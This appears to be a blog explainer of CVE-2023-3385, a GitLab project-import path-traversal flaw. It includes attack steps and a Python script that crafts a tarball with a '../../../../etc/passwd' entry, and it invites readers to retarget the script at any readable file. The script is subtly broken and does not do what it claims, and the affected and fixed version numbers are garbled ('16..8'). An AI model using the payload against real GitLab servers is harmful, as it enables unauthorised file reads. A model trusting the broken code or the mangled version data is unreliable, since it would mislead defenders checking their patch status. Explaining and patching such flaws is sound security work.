Introduction

CVE-2023-3385 is a critical security issue discovered in GitLab, one of the world’s most popular DevOps platforms. This vulnerability allows an attacker with project import privileges to read unrelated files from the server during a project import—from places they absolutely shouldn’t have access to.

In this post, we explain in *simple, clear language* how this happened, how attackers could exploit it, and what you need to do to stay secure. We even include a proof-of-concept code snippet and all the references you’ll need for deeper reading.


What is CVE-2023-3385?

This vulnerability allows a user importing a project using GitLab's “Import from Export” feature to read files from *elsewhere on the server* by uploading a specially crafted tarball. This is possible because of a bug in how the tar command handled file paths, which GitLab relied on for extracting project exports.

Under specific conditions, an attacker could pull off a *path traversal attack*, tricking GitLab into reading files outside the intended import directory—maybe even files like /etc/passwd.


All versions from 16.2 up to (but *not* including) 16.2.2

You must upgrade past these versions to stay protected.


Root Cause: Bug in tar

The heart of the problem lies with GNU tar, the standard utility for creating and extracting .tar.gz and .tar.bz2 archives.

Some older versions of tar (pre tar-1.35) didn’t block certain 'crafted' filenames within tarballs that use *absolute* or *tricky relative* paths (like ../../etc/passwd). When GitLab extracts an exported tarball uploaded by a user, if it doesn’t properly sanitize entry paths—and some versions didn’t—tar could be tricked into reading or overwriting files outside the working directory.

This vulnerability is also known as a directory traversal or path traversal attack.


Attack Overview

1. Attacker crafts a malicious tarball containing an entry with a path like ../../../../etc/passwd (or another target file).
2. Attacker uploads the tarball using GitLab’s project export/import feature.
3. During import, GitLab runs tar to unpack the tarball—potentially allowing file paths outside the intended folder to be *read* by the import process.
4. GitLab’s response, error message, or logs may expose the content of the file, or it may end up included in a new project file, depending on the exploit’s sophistication.


Code Snippet – Crafting the Exploit

Below is a Python 3 code snippet for crafting a malicious .tar file that attempts to extract /etc/passwd into the target directory. Do NOT use this on anything but your own test environment!

import tarfile

# Name your malicious tarball
mal_tar = "evil_project_export.tar"

with tarfile.open(mal_tar, "w") as tar:
    # The trick—use a path that escapes the intended directory
    info = tarfile.TarInfo(name='../../../../etc/passwd')
    try:
        with open('/etc/passwd', 'rb') as f:
            data = f.read()
        info.size = len(data)
        tar.addfile(info, fileobj=None)
    except Exception:
        # If you're not root, or working on Windows, just create dummy content
        import io
        dummy_content = b"Nobody gets /etc/passwd on this system!"
        info.size = len(dummy_content)
        tar.addfile(info, fileobj=io.BytesIO(dummy_content))

print(f"[+] Created malicious tarball: {mal_tar}")

This tarball, if uploaded to a vulnerable GitLab, could trigger extraction of /etc/passwd or other files. Adjust the path to target any readable file.


Original References and Further Reading

- Official GitLab advisory: GitLab Security Release: 16.2.2, 16.1.3, and 16..8
- GNU tar vulnerability note: tar-1.35 release and fix notes
- CVE entry: CVE-2023-3385 at NVD

Write-ups:

Rapid7 Vulnerability Insight
 HackerOne report


Conclusion and Mitigation

CVE-2023-3385 is a strong reminder that supply chain security matters—even the tools you use (like tar) can introduce risk. To stay secure:

IMMEDIATELY update GitLab to at least 16..8, 16.1.3, or 16.2.2.

- Make sure your system’s tar utility is updated (minimum version: tar-1.35)

Monitor server logs for suspicious project imports or file read attempts

If you run self-hosted GitLab, check your patch status *today*. Vulnerabilities like this can lead to *data leaks* or even *full server compromise*.


*Stay safe, update regularly—never trust user-supplied archives!*

Timeline

Published on: 08/02/2023 00:15:00 UTC
Last modified on: 08/04/2023 19:19:00 UTC